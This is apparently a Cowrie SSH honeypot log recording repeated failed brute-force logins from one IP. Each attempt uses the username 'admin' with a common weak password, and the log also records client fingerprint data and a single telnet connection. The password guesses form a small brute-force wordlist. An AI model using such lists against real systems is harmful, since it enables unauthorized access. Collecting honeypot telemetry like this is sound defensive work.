{"eventid":"cowrie.login.failed","username":"admin","password":"@WSX1qaz","message":"login attempt [admin/@WSX1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:46.987154Z","src_ip":"159.203.92.129","session":"8c9d8a6a8213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:47.994729Z","src_ip":"159.203.92.129","session":"8c9d8a6a8213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42222,"dst_ip":"159.203.135.109","dst_port":22,"session":"803e13e1ea5d","protocol":"ssh","message":"New connection: 159.203.92.129:42222 (159.203.135.109:22) [session: 803e13e1ea5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:49:29.185263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:49:29.190057Z","src_ip":"159.203.92.129","session":"803e13e1ea5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:49:29.194898Z","src_ip":"159.203.92.129","session":"803e13e1ea5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"A123456a","message":"login attempt [admin/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:49:29.215319Z","src_ip":"159.203.92.129","session":"803e13e1ea5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:49:30.222924Z","src_ip":"159.203.92.129","session":"803e13e1ea5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58160,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e44a4505b4","protocol":"ssh","message":"New connection: 159.203.92.129:58160 (159.203.135.109:22) [session: 11e44a4505b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:14.931040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:15.025970Z","src_ip":"159.203.92.129","session":"11e44a4505b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:15.033399Z","src_ip":"159.203.92.129","session":"11e44a4505b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ABCabc123","message":"login attempt [admin/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:15.328972Z","src_ip":"159.203.92.129","session":"11e44a4505b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:16.714085Z","src_ip":"159.203.92.129","session":"11e44a4505b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52786,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e65604cd4d8","protocol":"ssh","message":"New connection: 159.203.92.129:52786 (159.203.135.109:22) [session: 6e65604cd4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:55.409733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:55.414999Z","src_ip":"159.203.92.129","session":"6e65604cd4d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:55.420226Z","src_ip":"159.203.92.129","session":"6e65604cd4d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aa-123456","message":"login attempt [admin/Aa-123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:55.436128Z","src_ip":"159.203.92.129","session":"6e65604cd4d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:50:56.443047Z","src_ip":"159.203.92.129","session":"6e65604cd4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49784,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf40d205279d","protocol":"ssh","message":"New connection: 159.203.92.129:49784 (159.203.135.109:22) [session: bf40d205279d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:51:36.974198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:51:36.979317Z","src_ip":"159.203.92.129","session":"bf40d205279d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:51:36.984884Z","src_ip":"159.203.92.129","session":"bf40d205279d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aa123456","message":"login attempt [admin/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:51:36.998083Z","src_ip":"159.203.92.129","session":"bf40d205279d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:51:38.004550Z","src_ip":"159.203.92.129","session":"bf40d205279d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56624,"dst_ip":"159.203.135.109","dst_port":22,"session":"65fb231712e2","protocol":"ssh","message":"New connection: 159.203.92.129:56624 (159.203.135.109:22) [session: 65fb231712e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:52:20.364394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:52:20.369972Z","src_ip":"159.203.92.129","session":"65fb231712e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:52:20.377011Z","src_ip":"159.203.92.129","session":"65fb231712e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aa12345678","message":"login attempt [admin/Aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:52:20.394423Z","src_ip":"159.203.92.129","session":"65fb231712e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:52:21.401836Z","src_ip":"159.203.92.129","session":"65fb231712e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50056,"dst_ip":"159.203.135.109","dst_port":22,"session":"c67110879cfe","protocol":"ssh","message":"New connection: 159.203.92.129:50056 (159.203.135.109:22) [session: c67110879cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:02.025266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:02.030331Z","src_ip":"159.203.92.129","session":"c67110879cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:02.036110Z","src_ip":"159.203.92.129","session":"c67110879cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Ab123456","message":"login attempt [admin/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:02.089413Z","src_ip":"159.203.92.129","session":"c67110879cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:03.133336Z","src_ip":"159.203.92.129","session":"c67110879cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.60.58.31","src_port":11835,"dst_ip":"10.17.0.5","dst_port":23,"session":"379975d077fe","protocol":"telnet","message":"New connection: 190.60.58.31:11835 (10.17.0.5:23) [session: 379975d077fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:33.964135Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50424,"dst_ip":"159.203.135.109","dst_port":22,"session":"df99584e473a","protocol":"ssh","message":"New connection: 159.203.92.129:50424 (159.203.135.109:22) [session: df99584e473a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:43.977354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:43.981654Z","src_ip":"159.203.92.129","session":"df99584e473a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:43.999009Z","src_ip":"159.203.92.129","session":"df99584e473a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abc123","message":"login attempt [admin/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:44.060365Z","src_ip":"159.203.92.129","session":"df99584e473a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:45.065797Z","src_ip":"159.203.92.129","session":"df99584e473a","protocol":"ssh"}
